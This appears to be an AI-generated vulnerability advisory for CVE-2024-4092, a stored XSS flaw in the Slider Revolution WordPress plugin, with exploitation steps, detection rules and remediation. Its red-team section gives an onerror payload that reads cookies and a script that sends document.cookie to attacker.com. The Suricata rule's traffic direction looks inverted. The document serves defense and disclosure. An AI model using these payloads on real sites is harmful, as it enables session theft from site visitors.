CVE-2024-4092

Executive Summary

CVE-2024-4092 is a Stored Cross-Site Scripting (XSS) vulnerability in the Slider Revolution plugin for WordPress, affecting all versions up to and including 6.7.7. The flaw resides in insufficient input sanitization and output escaping of the htmltag parameter, allowing authenticated attackers to inject arbitrary web scripts. By default, exploitation requires administrator-level access, but the plugin’s configuration capabilities can be extended to authors, widening the attack surface. The CVSS score is 6.4 (Medium), and no public exploit code or patch is currently available. This vulnerability is specific to the WordPress ecosystem and does not involve Apache or Nginx.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
• Base Score: 6.4 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: Low (PR:L) – requires authenticated user with access to Slider Revolution settings
• User Interaction: Required (UI:R) – victim must visit the injected page
• Scope: Changed (S:C) – impact may extend beyond the vulnerable component
• Confidentiality Impact: Low (C:L)
• Integrity Impact: Low (I:L)
• Availability Impact: None (A:N)

Threat Level: Medium. While the CVSS score is moderate, the potential for privilege escalation (if authors can exploit) and the widespread use of Slider Revolution elevate the risk.

Deep Dive & Mechanics

The vulnerability exists in the Slider Revolution plugin’s handling of the htmltag parameter, which is used to define HTML tags for slider elements. The plugin fails to properly sanitize user input and escape output when rendering this parameter, allowing an authenticated attacker to inject malicious JavaScript or HTML.

Attack Flow:

1. An attacker with administrative (or author-level, if extended) access to a WordPress site navigates to the Slider Revolution settings.
2. The attacker crafts a malicious payload (e.g., <script>alert('XSS')</script>) in the htmltag field.
3. The payload is stored in the database without proper sanitization.
4. When any user (including administrators) views a page containing the affected slider, the injected script executes in their browser.

Root Cause: The plugin uses esc_attr() or similar functions insufficiently, or fails to apply wp_kses() or context-aware escaping for the htmltag parameter. The output is rendered directly into the HTML without encoding, enabling stored XSS.

Vulnerable vs. Patched Code

Vulnerable Code (example from Slider Revolution <= 6.7.7):

// In slider output function
$htmltag = $slider->get_param('htmltag', 'div');
echo "<$htmltag class='slider-wrapper'>";

The $htmltag value is directly echoed without escaping, allowing injection of arbitrary attributes or script tags.

Patched Code (expected fix):

$htmltag = $slider->get_param('htmltag', 'div');
$allowed_tags = array('div', 'span', 'section', 'article');
if (in_array($htmltag, $allowed_tags)) {
    echo "<" . esc_attr($htmltag) . " class='slider-wrapper'>";
} else {
    echo "<div class='slider-wrapper'>";
}

The patch should validate the htmltag against a whitelist of allowed tags and use esc_attr() for output.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress instance with Slider Revolution <= 6.7.7
• Authenticated user with at least Author role (if extended) or Administrator

Steps:

1. Log in to WordPress admin panel.
2. Navigate to Slider Revolution → Slider Settings → Advanced.
3. Locate the htmltag parameter field.
4. Inject payload: <img src=x onerror=alert(document.cookie)>
5. Save the slider.
6. Visit any page displaying the slider to trigger the XSS.

Example Payload:

<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>

Blue Team (Detection & Hardening)

Detection:

• Monitor for unusual changes to Slider Revolution settings, especially the htmltag parameter.
• Look for HTTP requests to /wp-admin/admin-ajax.php with suspicious htmltag values.
• Use WAF rules to block common XSS patterns in plugin parameters.

Hardening:

• Restrict Slider Revolution access to only trusted administrators.
• Apply principle of least privilege; do not extend slider configuration to authors.
• Implement Content Security Policy (CSP) headers to mitigate XSS impact.

Indicators of Compromise (IOCs)

• File: /wp-content/plugins/revslider/ (presence of vulnerable version)
• Database Entry: wp_revslider_sliders table with htmltag containing <script> or event handlers
• HTTP Request: POST to /wp-admin/admin-ajax.php with action=revslider_ajax_action and htmltag parameter containing malicious code
• Log Entry: WordPress debug log showing unexpected HTML tag usage in slider output

Detection Engineering

YARA Rule

rule CVE_2024_4092_Slider_Revolution_XSS {
    meta:
        description = "Detects stored XSS payloads in Slider Revolution htmltag parameter"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-4092"
    strings:
        $payload1 = /htmltag[^>]*<script/i
        $payload2 = /htmltag[^>]*onerror/i
        $payload3 = /htmltag[^>]*onload/i
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-4092 Slider Revolution Stored XSS
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects exploitation attempts of stored XSS in Slider Revolution htmltag parameter
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        c-uri|contains: '/wp-admin/admin-ajax.php'
        cs-uri-query|contains: 'action=revslider_ajax_action'
        cs-uri-query|re: 'htmltag=.*(<script|onerror|onload)'
    condition: selection
falsepositives:
    - Legitimate use of HTML tags in slider settings (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-4092 Slider Revolution Stored XSS Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/wp-admin/admin-ajax.php"; http_uri;
    content:"action=revslider_ajax_action"; http_client_body;
    pcre:"/htmltag=.*(<script|onerror|onload)/Pi";
    sid:1000001;
    rev:1;
    reference:cve,2024-4092;
)

Remediation & Mitigation

Immediate Actions:

1. Disable Slider Revolution if not critical, or restrict access to only super-admins.
2. Apply virtual patching via WAF to block malicious htmltag values.
3. Audit user roles – ensure only trusted administrators have slider configuration access.

Long-Term Fix:

• Monitor vendor for official patch (currently UNKNOWN).
• Consider replacing Slider Revolution with an alternative plugin if no patch is released.
• Implement input validation and output escaping for all plugin parameters.

Valters IT Signature: This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.